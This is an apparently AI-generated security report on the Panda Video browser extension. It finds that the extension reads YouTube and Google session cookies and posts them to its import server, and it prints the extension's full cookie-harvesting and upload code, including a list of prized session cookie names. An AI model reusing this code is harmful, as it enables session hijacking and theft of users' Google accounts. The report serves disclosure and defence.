Is Panda Video safe?
Panda Video collects YouTube and Google session cookies and sends them to its import service during YouTube imports.
When a YouTube tab is open, the extension reads browser cookies for YouTube and related Google domains, stores them locally as a Netscape cookie file, and prioritizes session cookie names such as SID, LOGIN_INFO, and __Secure-3PSID. When a queued YouTube video is imported, it sends that cookie file along with the video URL and bearer token to import.pandavideo.com:9443/videos.
Who publishes itPanda Video LTDA - no other listings under this identity
Panda Video LTDA - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
YouTube session cookies sent during Panda Video imports
Starting a YouTube import makes Panda Video read your YouTube and Google cookies, save them as a Netscape-format file, and send it with the selected URL to its import service.
Collection also runs when a YouTube tab is opened or activated.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You start importing a YouTube video into Panda Video.
The side panel adds the selected YouTube item to the upload queue.
The extension sends a stored YouTube and Google cookie file with the import request.
The service worker builds the cookie file from browser cookies and the uploader includes it as the cookies field.
- YouTube and Google cookie file.youtube.com TRUE / TRUE 1767225600 SID <redacted> (illustrative)
This can represent an active signed-in YouTube or Google browsing session.
- Selected YouTube URLhttps://www.youtube.com/watch?v=dQw4w9WgXcQ
This identifies the video you chose to import and travels with the cookie file.
- Import descriptionyoutube-dQw4w9WgXcQ
This ties the upload queue item to the YouTube source and source video ID.
- Panda Video bearer tokenAuthorization: Bearer <redacted>
This authorizes the import request to the Panda Video account used by the extension.
- authorization
- Bearer <redacted>
Source path from selected YouTube video to cookie upload
Source-mapped Videos.vue import method
webpack://panda-chrome-extension/./src/views/Home/screens/Videos.vue async importVideos(folderId) { for (const sourceVideoId of this.selectedVideos) { const video = this.videosToImport.find((toImport) => toImport.sourceVideoId === sourceVideoId); if (video) { await videoQueue.addItem({ ...video, status: VideoQueueStatus.AWAITING, folderId: folderId, }); } } this.selectedVideos = []; this.$root.$emit('global-tab-change', 2); },Source-mapped uploader queue routing
webpack://panda-chrome-extension/./src/services/uploader.tsclass Uploader { async startsUploadQueue() { try { const { awaitingToUpload, runningUpload } = await VideoQueue.fullQueue(); const asError = await Storage.getItem('panda_error'); if (asError && asError !== 'false') { console.log('ERROR EXISTS', asError); return; } if (awaitingToUpload.length > 0) { const availableVideoUpload = awaitingToUpload[0]; console.log('availableVideoUpload -> ', availableVideoUpload); if (!availableVideoUpload) return; if (runningUpload.length < 2) { await VideoQueue.updateStatus({ sourceVideoId: availableVideoUpload.sourceVideoId, status: VideoQueueStatus.RUNNING, }); await VideoQueue.updateMessage({ sourceVideoId: availableVideoUpload.sourceVideoId, message: t('services.session.start_upload_status'), }); const uploadServer = { tus: process.env.VUE_APP_BACKUP_URL || '', companion: 'uploader-companion.pandavideo.com.br:3020', }; const token = await Storage.getItem('token'); if (availableVideoUpload.source === 'youtube') { this.uploadYoutubeVideo(availableVideoUpload, `${token}`); return; } if (availableVideoUpload.source === 'pandavideo') { this.clonePandaVideo(availableVideoUpload); return; } if (availableVideoUpload.source === 'hotmart' || availableVideoUpload.source === 'smartplayer' || availableVideoUpload.source === 'kiwify') { const hlsEncryption = availableVideoUpload.source === 'hotmart'; await this.uploadM3U8Video(availableVideoUpload, `${token}`, hlsEncryption); return; } this.upload(availableVideoUpload, uploadServer); } } } catch (error) { console.log('error', error); } }Source-mapped YouTube import POST builder
webpack://panda-chrome-extension/./src/services/uploader.ts async uploadYoutubeVideo(video, token) { try { const cookies = await Storage.getItem('youtube-cookies'); const dataObject = { url: video.url, title: video.title, description: `${video.source || 'youtube'}-${video.sourceVideoId}`, // eslint-disable-next-line camelcase video_id: video.pandaVideoId, cookies: cookies || '', }; if (video.folderId) { // eslint-disable-next-line camelcase dataObject.folder_id = video.folderId; } const response = await axios.post(process.env.VUE_IMPORT_API_URL ?? '', dataObject, { headers: { authorization: `Bearer ${token}`, }, }); video.pandaVideoId = response.data.video_id; await VideoQueue.updateMessage({ sourceVideoId: video.sourceVideoId, message: t('services.uploader.websocket_connect.verifying_import'), }); await this.verifyUpload(video); } catch (error) { console.log('Error on upload', error); const sendToErrorQueue = Boolean(error.response && error.response.status === 423); const errorMessage = error.response?.data ?? error; const errorCode = error.response && error.response.status === 423 ? 'M3U8 ERROR' : error.response && error.response.status ? error.response.status : 'VIDEO ERROR'; await this.returnToQueueAddAttempt({ sourceVideoId: video.sourceVideoId, error: JSON.stringify(errorMessage), errorCode: errorCode, sendToErrorQueue: sendToErrorQueue, }); } }Source-mapped cookie collection and Netscape conversion
webpack://panda-chrome-extension/./src/core/background/background.tsconst getAllCookies = async () => { try { const tabsAPI = getTabsAPI(); const allTabs = await tabsAPI.query({}); const youtubeTabs = allTabs.filter((tab) => tab.url && tab.url.includes('youtube.com')); if (youtubeTabs.length === 0) { return; } const activeYoutubeTab = youtubeTabs.find((tab) => tab.active) || youtubeTabs[0]; const tab = activeYoutubeTab; if (!tab?.url) { return; } let url; try { url = new URL(tab.url); } catch (error) { return; } const allCookies = await getAllYouTubeCookies(url.hostname); const now = Date.now() / 1000; const validCookies = allCookies.filter((cookie) => { if (!cookie.expirationDate) return true; return cookie.expirationDate > now; }); const netscapeCookies = parseCookiesToNetscape(validCookies); const storageAPI = getStorageAPI(); await storageAPI.set({ 'youtube-cookies': netscapeCookies }); } catch (error) { console.error('Erro ao extrair cookies:', error); }};const getAllYouTubeCookies = async (hostname) => { const allCookies = []; const cookiesMap = new Map(); const cookiesAPI = getCookiesAPI(); const browserType = getBrowserType(); if (!cookiesAPI) { throw new Error('API de cookies não disponível'); } try { let cookieStores = []; try { cookieStores = await cookiesAPI.getAllCookieStores(); } catch (e) { cookieStores = [{ id: '0', tabIds: [] }]; } for (const store of cookieStores) { try { let storeCookies = []; try { if (browserType === 'chrome') { try { storeCookies = await cookiesAPI.getAll({ storeId: store.id, }); } catch (e) { storeCookies = await cookiesAPI.getAll({}); } } else { storeCookies = await cookiesAPI.getAll({}); } } catch (e) { // Ignorar erro } if (storeCookies && storeCookies.length > 0) { storeCookies.forEach((cookie) => { const key = `${cookie.name}-${cookie.domain}-${cookie.path}`; if (!cookiesMap.has(key)) { cookiesMap.set(key, cookie); allCookies.push(cookie); } }); } } catch (storeError) { // Ignorar erro } } try { const tabsAPI = getTabsAPI(); const tabs = await tabsAPI.query({}); const domains = new Set(); tabs.forEach((tab) => { if (tab.url) { try { const url = new URL(tab.url); const domain = url.hostname; if (domain) { domains.add(domain); if (!domain.startsWith('.')) { domains.add(`.${domain}`); } if (domain.startsWith('www.')) { domains.add(domain.replace(/^www\./, '')); domains.add(`.${domain.replace(/^www\./, '')}`); } } } catch (e) { // Ignorar URLs inválidas } } }); const domainArray = Array.from(domains); for (const domain of domainArray) { try { const domainCookies = await cookiesAPI.getAll({ domain }); if (domainCookies && domainCookies.length > 0) { domainCookies.forEach((cookie) => { const key = `${cookie.name}-${cookie.domain}-${cookie.path}`; if (!cookiesMap.has(key)) { cookiesMap.set(key, cookie); allCookies.push(cookie); } }); } } catch (e) { // skip error invalid domain } } } catch (tabsError) { // Ignorar erro } const knownDomains = new Set([ '.youtube.com', 'youtube.com', '.www.youtube.com', 'www.youtube.com', '.m.youtube.com', 'm.youtube.com', '.google.com', 'google.com', '.googleapis.com', 'googleapis.com', '.googleusercontent.com', 'googleusercontent.com', '.gstatic.com', 'gstatic.com', '.googlevideo.com', 'googlevideo.com', '.ytimg.com', 'ytimg.com', ]); if (hostname) { knownDomains.add(hostname); if (!hostname.startsWith('.')) { knownDomains.add(`.${hostname}`); } if (hostname.startsWith('www.')) { const withoutWww = hostname.replace(/^www\./, ''); knownDomains.add(withoutWww); knownDomains.add(`.${withoutWww}`); } } for (const domain of Array.from(knownDomains)) { try { const domainCookies = await cookiesAPI.getAll({ domain }); if (domainCookies && domainCookies.length > 0) { domainCookies.forEach((cookie) => { const key = `${cookie.name}-${cookie.domain}-${cookie.path}`; if (!cookiesMap.has(key)) { cookiesMap.set(key, cookie); allCookies.push(cookie); } }); } } catch (e) { // skip error invalid domain } } } catch (error) { // Ignorar erro } const uniqueCookiesArray = Array.from(cookiesMap.values()); const now = Date.now() / 1000; const validCookies = uniqueCookiesArray.filter((cookie) => { if (!cookie.expirationDate) return true; return cookie.expirationDate > now; }); return validCookies;};const parseCookiesToNetscape = (cookies) => { let output = '# Netscape HTTP Cookie File\n'; output += '# Generated by YouTube Cookie Extractor\n'; output += `# Date: ${new Date().toISOString()}\n`; output += '# https://curl.haxx.se/rfc/cookie_spec.html\n\n'; output += '# ===========================\n\n'; const importantCookiePatterns = [ 'SID', 'LOGIN_INFO', '__Secure-1PSID', '__Secure-3PSID', 'APISID', '__Secure-1PAPISID', '__Secure-3PAPISID', 'SAPISID', '__Secure-1PSAPISID', '__Secure-3PSAPISID', 'SSID', 'HSID', 'VISITOR_INFO1_LIVE', '__Secure-1PSIDTS', '__Secure-3PSIDTS', '__Secure-1PSIDCC', '__Secure-3PSIDCC', ]; const sortedCookies = [...cookies].sort((a, b) => { const aImportant = importantCookiePatterns.some((pattern) => a.name === pattern || a.name.startsWith(pattern)); const bImportant = importantCookiePatterns.some((pattern) => b.name === pattern || b.name.startsWith(pattern)); if (aImportant && !bImportant) return -1; if (!aImportant && bImportant) return 1; if (aImportant && bImportant) { const aIndex = importantCookiePatterns.findIndex((p) => a.name === p || a.name.startsWith(p)); const bIndex = importantCookiePatterns.findIndex((p) => b.name === p || b.name.startsWith(p)); return aIndex - bIndex; } return 0; }); sortedCookies.forEach((cookie) => { let domain = cookie.domain ?? ''; const isHostOnly = cookie.hostOnly ?? false; if (domain.startsWith('.')) { domain = domain.substring(1); } if (!isHostOnly && domain) { domain = '.' + domain; } const flag = isHostOnly ? 'FALSE' : 'TRUE'; const path = (cookie.path ?? '/').trim(); const secure = cookie.secure ? 'TRUE' : 'FALSE'; const expiration = cookie.expirationDate ? Math.floor(cookie.expirationDate).toString() : '0'; // eslint-disable-next-line no-control-regex const controlCharsRegex = /[\r\n\t\x00-\x1F\x7F]/g; const name = (cookie.name ?? '').replace(controlCharsRegex, '').trim(); const value = (cookie.value ?? '').replace(controlCharsRegex, '').trim(); if (!domain || !name || !value) { return; } const tab = '\t'; output += `${domain}${tab}${flag}${tab}${path}${tab}${secure}${tab}${expiration}${tab}${name}${tab}${value}\n`; }); if (!output.endsWith('\n')) { output += '\n'; } const normalizedOutput = output.replace(/\r\n/g, '\n').replace(/\r/g, '\n'); return normalizedOutput;};const main = async () => { const context = typeof document !== 'undefined' ? 'SIDEPANEL' : 'SERVICE_WORKER'; console.log(`Background script started - Context: ${context}`, { location: typeof window !== 'undefined' ? window.location?.href : 'N/A', userAgent: typeof navigator !== 'undefined' ? navigator.userAgent : 'N/A',Source-mapped YouTube tab triggers
webpack://panda-chrome-extension/./src/core/background/background.ts const checkAndCollectCookies = async () => { try { const allTabs = await tabsAPI.query({}); const youtubeTabs = allTabs.filter((tab) => tab.url && tab.url.includes('youtube.com')); if (youtubeTabs.length > 0) { await getAllCookies(); } } catch (error) { // Ignorar erro } }; checkAndCollectCookies(); setTimeout(checkAndCollectCookies, 1000); tabsAPI.onUpdated.addListener((_tabId, changeInfo, tab) => { if (changeInfo.status === 'complete' && tab?.url && tab.url.includes('youtube.com')) { getAllCookies(); } }); tabsAPI.onActivated.addListener(async (activeInfo) => { try { const tab = await tabsAPI.get(activeInfo.tabId); if (tab?.url && tab.url.includes('youtube.com')) { await getAllCookies(); } } catch (error) { // Ignorar erro } });};main();- import.pandavideo.com
Panda Video import service that receives the selected YouTube URL and the cookies field during YouTube imports.
Where it sends data
Destinations our analysis observed Panda Video contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- import.pandavideo.com
Panda Video sends data to import.pandavideo.com. No other extension we have analysed sends data here.